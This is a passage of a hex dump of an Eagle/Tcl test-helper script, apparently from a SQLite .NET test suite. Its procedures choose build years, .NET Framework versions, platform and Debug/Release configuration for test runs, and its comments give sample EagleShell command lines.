turn 2.0.50727; 17e0: 23 20 54 4f 44 4f 3a 20 47 6f 6f 64 20 22 66 61 # TODO: Good "fa 17f0: 6c 6c 62 61 63 6b 22 20 64 65 66 61 75 6c 74 3f llback" default? 1800: 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 .. }.. 1810: 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 1820: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... 1830: 20 70 72 6f 63 20 67 65 74 42 75 69 6c 64 59 65 proc getBuildYe 1840: 61 72 73 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 ars {} {.. 1850: 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 1860: 20 53 65 65 20 69 66 20 74 68 65 20 6c 69 73 74 See if the list 1870: 20 6f 66 20 74 65 73 74 20 79 65 61 72 73 20 68 of test years h 1880: 61 73 20 62 65 65 6e 20 6f 76 65 72 72 69 64 64 as been overridd 1890: 65 6e 20 62 79 20 74 68 65 20 75 73 65 72 0d 0a en by the user.. 18a0: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 28 65 # (e 18b0: 2e 67 2e 20 6f 6e 20 74 68 65 20 63 6f 6d 6d 61 .g. on the comma 18c0: 6e 64 20 6c 69 6e 65 29 2e 0d 0a 20 20 20 20 20 nd line)... 18d0: 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 69 #.. if {[i 18e0: 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 74 65 73 nfo exists ::tes 18f0: 74 5f 79 65 61 72 73 5d 20 26 26 20 5b 6c 6c 65 t_years] && [lle 1900: 6e 67 74 68 20 24 3a 3a 74 65 73 74 5f 79 65 61 ngth $::test_yea 1910: 72 73 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d rs] > 0} then {. 1920: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 1930: 20 20 20 20 23 20 4e 4f 54 45 3a 20 55 73 65 20 # NOTE: Use 1940: 74 68 65 20 73 70 65 63 69 66 69 65 64 20 6c 69 the specified li 1950: 73 74 20 6f 66 20 74 65 73 74 20 79 65 61 72 73 st of test years 1960: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 1970: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a return$:: 1980: 74 65 73 74 5f 79 65 61 72 73 0d 0a 20 20 20 20 test_years.. 1990: 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 19a0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 19b0: 20 4e 4f 54 45 3a 20 55 73 65 20 74 68 65 20 64 NOTE: Use the d 19c0: 65 66 61 75 6c 74 20 6c 69 73 74 20 6f 66 20 74 efault list of t 19d0: 65 73 74 20 79 65 61 72 73 20 28 69 2e 65 2e 20 est years (i.e. 19e0: 61 6c 6c 29 2e 0d 0a 20 20 20 20 20 20 20 20 23 all)... # 19f0: 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e .. return 1a00: 20 5b 6c 69 73 74 20 32 30 30 35 20 32 30 30 38 [list 2005 2008 1a10: 20 32 30 31 30 20 32 30 31 32 20 32 30 31 33 20 2010 2012 2013 1a20: 32 30 31 35 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 2015].. }.. 1a30: 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 1a40: 6f 63 20 67 65 74 42 75 69 6c 64 4e 65 74 46 78 oc getBuildNetFx 1a50: 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a {} {.. #.. 1a60: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 65 # NOTE: Se 1a70: 65 20 69 66 20 74 68 65 20 74 65 73 74 20 2e 4e e if the test .N 1a80: 45 54 20 46 72 61 6d 65 77 6f 72 6b 20 73 65 74 ET Framework set 1a90: 74 69 6e 67 20 68 61 73 20 62 65 65 6e 20 6f 76 ting has been ov 1aa0: 65 72 72 69 64 64 65 6e 20 62 79 0d 0a 20 20 20 erridden by.. 1ab0: 20 20 20 23 20 20 20 20 20 20 20 74 68 65 20 75 # the u 1ac0: 73 65 72 20 28 65 2e 67 2e 20 6f 6e 20 74 68 65 ser (e.g. on the 1ad0: 20 63 6f 6d 6d 61 6e 64 20 6c 69 6e 65 29 2e 0d command line).. 1ae0: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 1af0: 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 if {[info exists 1b00: 20 3a 3a 74 65 73 74 5f 6e 65 74 5f 66 78 5d 20 ::test_net_fx] 1b10: 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 && \.. 1b20: 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 [string length $1b30: 3a 3a 74 65 73 74 5f 6e 65 74 5f 66 78 5d 20 3e ::test_net_fx] > 1b40: 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 0} then {.. 1b50: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 1b60: 20 4e 4f 54 45 3a 20 55 73 65 20 74 68 65 20 73 NOTE: Use the s 1b70: 70 65 63 69 66 69 65 64 20 74 65 73 74 20 2e 4e pecified test .N 1b80: 45 54 20 46 72 61 6d 65 77 6f 72 6b 2e 0d 0a 20 ET Framework... 1b90: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 1ba0: 20 20 72 65 74 75 72 6e 20 24 3a 3a 74 65 73 74 return$::test 1bb0: 5f 6e 65 74 5f 66 78 0d 0a 20 20 20 20 20 20 7d _net_fx.. } 1bc0: 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 else {.. 1bd0: 20 73 65 74 20 79 65 61 72 20 5b 67 65 74 42 75 set year [getBu 1be0: 69 6c 64 59 65 61 72 5d 0d 0a 20 20 20 20 20 20 ildYear].. 1bf0: 20 20 73 65 74 20 79 65 61 72 56 61 72 4e 61 6d set yearVarNam 1c00: 65 20 5b 61 70 70 65 6e 64 41 72 67 73 20 3a 3a e [appendArgs :: 1c10: 74 65 73 74 5f 6e 65 74 5f 66 78 5f 20 24 79 65 test_net_fx_ $ye 1c20: 61 72 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 ar].... i 1c30: 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 f {[info exists 1c40: 24 79 65 61 72 56 61 72 4e 61 6d 65 5d 20 26 26$yearVarName] && 1c50: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1c60: 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 5b [string length [ 1c70: 73 65 74 20 24 79 65 61 72 56 61 72 4e 61 6d 65 set $yearVarName 1c80: 5d 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a ]] > 0} then {.. 1c90: 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 1ca0: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 55 # NOTE: U 1cb0: 73 65 20 74 68 65 20 73 70 65 63 69 66 69 65 64 se the specified 1cc0: 20 74 65 73 74 20 2e 4e 45 54 20 46 72 61 6d 65 test .NET Frame 1cd0: 77 6f 72 6b 2c 20 62 61 73 65 64 20 6f 6e 20 74 work, based on t 1ce0: 68 65 20 62 75 69 6c 64 0d 0a 20 20 20 20 20 20 he build.. 1cf0: 20 20 20 20 23 20 20 20 20 20 20 20 79 65 61 72 # year 1d00: 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d 0a ... #.. 1d10: 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e return 1d20: 20 5b 73 65 74 20 24 79 65 61 72 56 61 72 4e 61 [set$yearVarNa 1d30: 6d 65 5d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 me].. } e 1d40: 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 lse {.. 1d50: 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 #.. # 1d60: 4e 4f 54 45 3a 20 46 61 6c 6c 62 61 63 6b 20 74 NOTE: Fallback t 1d70: 6f 20 74 68 65 20 22 77 65 6c 6c 20 6b 6e 6f 77 o the "well know 1d80: 6e 22 20 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 n" .NET Framewor 1d90: 6b 20 76 65 72 73 69 6f 6e 20 74 68 61 74 0d 0a k version that.. 1da0: 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 1db0: 20 20 69 73 20 6d 6f 73 74 20 63 6c 6f 73 65 6c is most closel 1dc0: 79 20 61 73 73 6f 63 69 61 74 65 64 20 77 69 74 y associated wit 1dd0: 68 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 76 h a particular v 1de0: 65 72 73 69 6f 6e 20 6f 66 0d 0a 20 20 20 20 20 ersion of.. 1df0: 20 20 20 20 20 23 20 20 20 20 20 20 20 56 69 73 # Vis 1e00: 75 61 6c 20 53 74 75 64 69 6f 2e 0d 0a 20 20 20 ual Studio... 1e10: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 1e20: 20 20 20 20 73 77 69 74 63 68 20 2d 65 78 61 63 switch -exac 1e30: 74 20 2d 2d 20 24 79 65 61 72 20 7b 0d 0a 20 20 t -- $year {.. 1e40: 20 20 20 20 20 20 20 20 20 20 32 30 30 35 20 7b 2005 { 1e50: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1e60: 72 65 74 75 72 6e 20 6e 65 74 46 78 32 30 0d 0a return netFx20.. 1e70: 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 1e80: 20 20 20 20 20 20 20 20 20 20 20 32 30 30 38 20 2008 1e90: 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1ea0: 20 72 65 74 75 72 6e 20 6e 65 74 46 78 33 35 0d return netFx35. 1eb0: 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a . }.. 1ec0: 20 20 20 20 20 20 20 20 20 20 20 20 32 30 31 30 2010 1ed0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1ee0: 20 20 72 65 74 75 72 6e 20 6e 65 74 46 78 34 30 return netFx40 1ef0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d .. }. 1f00: 0a 20 20 20 20 20 20 20 20 20 20 20 20 32 30 31 . 201 1f10: 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 2 {.. 1f20: 20 20 20 72 65 74 75 72 6e 20 6e 65 74 46 78 34 return netFx4 1f30: 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 5.. } 1f40: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 32 30 .. 20 1f50: 31 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 13 {.. 1f60: 20 20 20 20 72 65 74 75 72 6e 20 6e 65 74 46 78 return netFx 1f70: 34 35 31 3b 20 23 20 54 4f 44 4f 3a 20 4f 72 20 451; # TODO: Or 1f80: 22 6e 65 74 46 78 34 35 32 22 3f 0d 0a 20 20 20 "netFx452"?.. 1f90: 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 1fa0: 20 20 20 20 20 20 20 20 32 30 31 35 20 7b 0d 0a 2015 {.. 1fb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 re 1fc0: 74 75 72 6e 20 6e 65 74 46 78 34 36 3b 20 23 20 turn netFx46; # 1fd0: 54 4f 44 4f 3a 20 4f 72 20 22 6e 65 74 46 78 34 TODO: Or "netFx4 1fe0: 36 31 22 3f 0d 0a 20 20 20 20 20 20 20 20 20 20 61"?.. 1ff0: 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 }.. 2000: 20 64 65 66 61 75 6c 74 20 7b 0d 0a 20 20 20 20 default {.. 2010: 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e return 2020: 20 6e 65 74 46 78 33 35 3b 20 23 20 54 4f 44 4f netFx35; # TODO 2030: 3a 20 47 6f 6f 64 20 22 66 61 6c 6c 62 61 63 6b : Good "fallback 2040: 22 20 64 65 66 61 75 6c 74 3f 0d 0a 20 20 20 20 " default?.. 2050: 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 2060: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 2070: 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. }.. 2080: 7d 0d 0a 0c 0d 0a 20 20 20 20 23 0d 0a 20 20 20 }..... #.. 2090: 20 23 20 4e 4f 54 45 3a 20 54 68 69 73 20 70 72 # NOTE: This pr 20a0: 6f 63 65 64 75 72 65 20 73 68 6f 75 6c 64 20 72 ocedure should r 20b0: 65 74 75 72 6e 20 6e 6f 6e 2d 7a 65 72 6f 20 69 eturn non-zero i 20c0: 66 20 74 68 65 20 63 6f 6e 66 69 67 75 72 65 64 f the configured 20d0: 20 74 65 73 74 0d 0a 20 20 20 20 23 20 20 20 20 test.. # 20e0: 20 20 20 70 6c 61 74 66 6f 72 6d 20 69 73 20 6d platform is m 20f0: 6f 73 74 20 6c 69 6b 65 6c 79 20 74 68 65 20 64 ost likely the d 2100: 65 66 61 75 6c 74 20 66 6f 72 20 74 68 69 73 20 efault for this 2110: 6d 61 63 68 69 6e 65 2e 0d 0a 20 20 20 20 23 0d machine... #. 2120: 0a 20 20 20 20 70 72 6f 63 20 69 73 44 65 66 61 . proc isDefa 2130: 75 6c 74 42 75 69 6c 64 50 6c 61 74 66 6f 72 6d ultBuildPlatform 2140: 20 7b 20 7b 76 65 72 62 6f 73 65 20 66 61 6c 73 { {verbose fals 2150: 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d e} } {.. #. 2160: 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 52 . # NOTE: R 2170: 75 6e 6e 69 6e 67 20 6f 6e 20 57 6f 57 36 34 20 unning on WoW64 2180: 69 73 20 6e 65 76 65 72 20 74 68 65 20 64 65 66 is never the def 2190: 61 75 6c 74 20 70 6c 61 74 66 6f 72 6d 2e 0d 0a ault platform... 21a0: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 #.. i 21b0: 66 20 7b 5b 69 73 52 75 6e 6e 69 6e 67 57 6f 57 f {[isRunningWoW 21c0: 36 34 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 64]} then {.. 21d0: 20 20 20 20 20 69 66 20 7b 24 76 65 72 62 6f 73 if {$verbos 21e0: 65 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 e} then {.. 21f0: 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 tputs $::te 2200: 73 74 5f 63 68 61 6e 6e 65 6c 20 5c 0d 0a 20 20 st_channel \.. 2210: 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d "--- 2220: 2d 20 64 65 74 65 63 74 65 64 20 6e 6f 6e 2d 64 - detected non-d 2230: 65 66 61 75 6c 74 20 70 6c 61 74 66 6f 72 6d 20 efault platform 2240: 28 57 6f 57 36 34 29 5c 6e 22 0d 0a 20 20 20 20 (WoW64)\n".. 2250: 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 72 }.. r 2260: 65 74 75 72 6e 20 66 61 6c 73 65 0d 0a 20 20 20 eturn false.. 2270: 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d }.... #. 2280: 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 . # NOTE: T 2290: 68 69 73 20 68 61 73 20 61 20 67 6f 6f 64 20 63 his has a good c 22a0: 68 61 6e 63 65 20 6f 66 20 62 65 69 6e 67 20 74 hance of being t 22b0: 68 65 20 64 65 66 61 75 6c 74 20 70 6c 61 74 66 he default platf 22c0: 6f 72 6d 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 orm... #.. 22d0: 20 20 20 20 20 69 66 20 7b 24 76 65 72 62 6f 73 if {$verbos 22e0: 65 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 e} then {.. 22f0: 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs $::test 2300: 5f 63 68 61 6e 6e 65 6c 20 22 2d 2d 2d 2d 20 64 _channel "---- d 2310: 65 74 65 63 74 65 64 20 64 65 66 61 75 6c 74 20 etected default 2320: 70 6c 61 74 66 6f 72 6d 5c 6e 22 0d 0a 20 20 20 platform\n".. 2330: 20 20 20 7d 0d 0a 20 20 20 20 20 20 72 65 74 75 }.. retu 2340: 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 7d 0d 0a rn true.. }.. 2350: 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 42 ... proc getB 2360: 75 69 6c 64 50 6c 61 74 66 6f 72 6d 20 7b 20 6e uildPlatform { n 2370: 61 74 69 76 65 20 7d 20 7b 0d 0a 20 20 20 20 20 ative } {.. 2380: 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 if {[info exist 2390: 73 20 3a 3a 74 65 73 74 5f 70 6c 61 74 66 6f 72 s ::test_platfor 23a0: 6d 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 m] && \.. 23b0: 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 [string lengt 23c0: 68 20 24 3a 3a 74 65 73 74 5f 70 6c 61 74 66 6f h$::test_platfo 23d0: 72 6d 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d rm] > 0} then {. 23e0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 23f0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 55 73 65 20 # NOTE: Use 2400: 74 68 65 20 73 70 65 63 69 66 69 65 64 20 74 65 the specified te 2410: 73 74 20 70 6c 61 74 66 6f 72 6d 2e 20 20 49 66 st platform. If 2420: 20 74 68 69 73 20 76 61 72 69 61 62 6c 65 20 69 this variable i 2430: 73 20 6e 6f 74 20 73 65 74 2c 0d 0a 20 20 20 20 s not set,.. 2440: 20 20 20 20 23 20 20 20 20 20 20 20 74 68 65 20 # the 2450: 64 65 66 61 75 6c 74 20 76 61 6c 75 65 20 77 69 default value wi 2460: 6c 6c 20 62 65 20 62 61 73 65 64 20 6f 6e 20 74 ll be based on t 2470: 68 65 20 6d 61 63 68 69 6e 65 20 61 72 63 68 69 he machine archi 2480: 74 65 63 74 75 72 65 2e 0d 0a 20 20 20 20 20 20 tecture... 2490: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 #.. ret 24a0: 75 72 6e 20 5b 65 78 70 72 20 7b 24 6e 61 74 69 urn [expr {$nati 24b0: 76 65 20 3f 20 24 3a 3a 74 65 73 74 5f 70 6c 61 ve ?$::test_pla 24c0: 74 66 6f 72 6d 20 3a 20 22 22 7d 5d 0d 0a 20 20 tform : ""}].. 24d0: 20 20 20 20 7d 20 65 6c 73 65 69 66 20 7b 5b 69 } elseif {[i 24e0: 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 74 65 73 nfo exists ::tes 24f0: 74 5f 6d 61 63 68 69 6e 65 5d 20 26 26 20 5c 0d t_machine] && \. 2500: 0a 20 20 20 20 20 20 20 20 20 20 5b 73 74 72 69 . [stri 2510: 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a 74 65 73 ng length $::tes 2520: 74 5f 6d 61 63 68 69 6e 65 5d 20 3e 20 30 7d 20 t_machine] > 0} 2530: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 2540: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 2550: 45 3a 20 46 6f 72 20 6e 61 74 69 76 65 20 62 75 E: For native bu 2560: 69 6c 64 73 2c 20 72 65 74 75 72 6e 20 74 68 65 ilds, return the 2570: 20 70 6c 61 74 66 6f 72 6d 20 6e 61 6d 65 20 63 platform name c 2580: 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 0d orresponding to. 2590: 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 25a0: 20 74 68 65 20 74 65 73 74 20 6d 61 63 68 69 6e the test machin 25b0: 65 20 61 72 63 68 69 74 65 63 74 75 72 65 3b 20 e architecture; 25c0: 6f 74 68 65 72 77 69 73 65 2c 20 72 65 74 75 72 otherwise, retur 25d0: 6e 20 61 6e 20 65 6d 70 74 79 0d 0a 20 20 20 20 n an empty.. 25e0: 20 20 20 20 23 20 20 20 20 20 20 20 73 74 72 69 # stri 25f0: 6e 67 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a ng... #.. 2600: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b return [ 2610: 65 78 70 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 expr {.. 2620: 20 20 24 6e 61 74 69 76 65 20 3f 20 5b 6d 61 63$native ? [mac 2630: 68 69 6e 65 54 6f 50 6c 61 74 66 6f 72 6d 20 24 hineToPlatform $2640: 3a 3a 74 65 73 74 5f 6d 61 63 68 69 6e 65 5d 20 ::test_machine] 2650: 3a 20 22 22 0d 0a 20 20 20 20 20 20 20 20 7d 5d : "".. }] 2660: 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 69 66 .. } elseif 2670: 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {[info exists : 2680: 3a 74 63 6c 5f 70 6c 61 74 66 6f 72 6d 28 6d 61 :tcl_platform(ma 2690: 63 68 69 6e 65 29 5d 7d 20 74 68 65 6e 20 7b 0d chine)]} then {. 26a0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 26b0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 6f 72 20 # NOTE: For 26c0: 6e 61 74 69 76 65 20 62 75 69 6c 64 73 2c 20 72 native builds, r 26d0: 65 74 75 72 6e 20 74 68 65 20 70 6c 61 74 66 6f eturn the platfo 26e0: 72 6d 20 6e 61 6d 65 20 63 6f 72 72 65 73 70 6f rm name correspo 26f0: 6e 64 69 6e 67 20 74 6f 0d 0a 20 20 20 20 20 20 nding to.. 2700: 20 20 23 20 20 20 20 20 20 20 74 68 65 20 6d 61 # the ma 2710: 63 68 69 6e 65 20 61 72 63 68 69 74 65 63 74 75 chine architectu 2720: 72 65 3b 20 6f 74 68 65 72 77 69 73 65 2c 20 72 re; otherwise, r 2730: 65 74 75 72 6e 20 61 6e 20 65 6d 70 74 79 20 73 eturn an empty s 2740: 74 72 69 6e 67 2e 0d 0a 20 20 20 20 20 20 20 20 tring... 2750: 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 #.. retur 2760: 6e 20 5b 65 78 70 72 20 7b 0d 0a 20 20 20 20 20 n [expr {.. 2770: 20 20 20 20 20 24 6e 61 74 69 76 65 20 3f 20 5b$native ? [ 2780: 6d 61 63 68 69 6e 65 54 6f 50 6c 61 74 66 6f 72 machineToPlatfor 2790: 6d 20 24 3a 3a 74 63 6c 5f 70 6c 61 74 66 6f 72 m $::tcl_platfor 27a0: 6d 28 6d 61 63 68 69 6e 65 29 5d 20 3a 20 22 22 m(machine)] : "" 27b0: 0d 0a 20 20 20 20 20 20 20 20 7d 5d 0d 0a 20 20 .. }].. 27c0: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 27d0: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 27e0: 20 23 20 4e 4f 54 45 3a 20 4e 6f 20 6d 61 63 68 # NOTE: No mach 27f0: 69 6e 65 20 61 72 63 68 69 74 65 63 74 75 72 65 ine architecture 2800: 20 69 73 20 61 76 61 69 6c 61 62 6c 65 2c 20 72 is available, r 2810: 65 74 75 72 6e 20 61 6e 20 65 6d 70 74 79 20 73 eturn an empty s 2820: 74 72 69 6e 67 2e 0d 0a 20 20 20 20 20 20 20 20 tring... 2830: 23 20 20 20 20 20 20 20 49 74 20 69 73 20 69 6d # It is im 2840: 70 6f 72 74 61 6e 74 20 74 6f 20 72 65 74 75 72 portant to retur 2850: 6e 20 61 6e 20 65 6d 70 74 79 20 73 74 72 69 6e n an empty strin 2860: 67 20 68 65 72 65 20 62 65 63 61 75 73 65 20 74 g here because t 2870: 68 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 he.. # 2880: 20 20 20 20 72 65 73 75 6c 74 20 6f 66 20 74 68 result of th 2890: 69 73 20 70 72 6f 63 65 64 75 72 65 20 6d 61 79 is procedure may 28a0: 20 62 65 20 75 73 65 64 20 77 69 74 68 20 5b 66 be used with [f 28b0: 69 6c 65 20 6a 6f 69 6e 5d 2e 0d 0a 20 20 20 20 ile join]... 28c0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 #.. r 28d0: 65 74 75 72 6e 20 22 22 0d 0a 20 20 20 20 20 20 eturn "".. 28e0: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... 28f0: 20 70 72 6f 63 20 67 65 74 42 75 69 6c 64 43 6f proc getBuildCo 2900: 6e 66 69 67 75 72 61 74 69 6f 6e 20 7b 7d 20 7b nfiguration {} { 2910: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 2920: 20 23 20 4e 4f 54 45 3a 20 53 65 65 20 69 66 20 # NOTE: See if 2930: 74 68 65 20 22 63 6f 6e 66 69 67 75 72 61 74 69 the "configurati 2940: 6f 6e 22 20 73 65 74 74 69 6e 67 20 68 61 73 20 on" setting has 2950: 62 65 65 6e 20 6f 76 65 72 72 69 64 64 65 6e 20 been overridden 2960: 62 79 20 74 68 65 0d 0a 20 20 20 20 20 20 23 20 by the.. # 2970: 20 20 20 20 20 20 75 73 65 72 20 28 65 2e 67 2e user (e.g. 2980: 20 6f 6e 20 74 68 65 20 63 6f 6d 6d 61 6e 64 20 on the command 2990: 6c 69 6e 65 29 2e 20 20 54 68 69 73 20 68 65 6c line). This hel 29a0: 70 73 20 63 6f 6e 74 72 6f 6c 20 65 78 61 63 74 ps control exact 29b0: 6c 79 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 ly.. # 29c0: 20 20 77 68 69 63 68 20 73 65 74 20 6f 66 20 62 which set of b 29d0: 69 6e 61 72 69 65 73 20 77 65 20 61 72 65 20 74 inaries we are t 29e0: 65 73 74 69 6e 67 20 28 69 2e 65 2e 20 74 68 6f esting (i.e. tho 29f0: 73 65 20 62 75 69 6c 74 20 69 6e 20 74 68 65 0d se built in the. 2a00: 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 22 . # " 2a10: 44 65 62 75 67 22 20 6f 72 20 22 52 65 6c 65 61 Debug" or "Relea 2a20: 73 65 22 20 62 75 69 6c 64 20 63 6f 6e 66 69 67 se" build config 2a30: 75 72 61 74 69 6f 6e 73 29 2e 20 20 54 6f 20 6f urations). To o 2a40: 76 65 72 72 69 64 65 20 74 68 69 73 0d 0a 20 20 verride this.. 2a50: 20 20 20 20 23 20 20 20 20 20 20 20 76 61 6c 75 # valu 2a60: 65 20 76 69 61 20 74 68 65 20 63 6f 6d 6d 61 6e e via the comman 2a70: 64 20 6c 69 6e 65 2c 20 65 6e 74 65 72 20 61 20 d line, enter a 2a80: 63 6f 6d 6d 61 6e 64 20 73 69 6d 69 6c 61 72 20 command similar 2a90: 74 6f 20 6f 6e 65 20 6f 66 0d 0a 20 20 20 20 20 to one of.. 2aa0: 20 23 20 20 20 20 20 20 20 74 68 65 20 66 6f 6c # the fol 2ab0: 6c 6f 77 69 6e 67 20 28 61 6c 6c 20 6f 6e 20 6f lowing (all on o 2ac0: 6e 65 20 6c 69 6e 65 29 3a 0d 0a 20 20 20 20 20 ne line):.. 2ad0: 20 23 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 #.. # 2ae0: 20 20 45 61 67 6c 65 53 68 65 6c 6c 2e 65 78 65 EagleShell.exe 2af0: 20 2d 61 6e 79 49 6e 69 74 69 61 6c 69 7a 65 20 -anyInitialize 2b00: 22 73 65 74 20 74 65 73 74 5f 63 6f 6e 66 69 67 "set test_config 2b10: 75 72 61 74 69 6f 6e 20 44 65 62 75 67 22 0d 0a uration Debug".. 2b20: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 20 20 # 2b30: 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c 74 6f 5c -file .\path\to\ 2b40: 61 6c 6c 2e 65 61 67 6c 65 0d 0a 20 20 20 20 20 all.eagle.. 2b50: 20 23 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 #.. # 2b60: 20 20 45 61 67 6c 65 53 68 65 6c 6c 2e 65 78 65 EagleShell.exe 2b70: 20 2d 61 6e 79 49 6e 69 74 69 61 6c 69 7a 65 20 -anyInitialize 2b80: 22 73 65 74 20 74 65 73 74 5f 63 6f 6e 66 69 67 "set test_config 2b90: 75 72 61 74 69 6f 6e 20 52 65 6c 65 61 73 65 22 uration Release" 2ba0: 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 2bb0: 20 20 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c 74 -file .\path\t 2bc0: 6f 5c 61 6c 6c 2e 65 61 67 6c 65 0d 0a 20 20 20 o\all.eagle.. 2bd0: 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 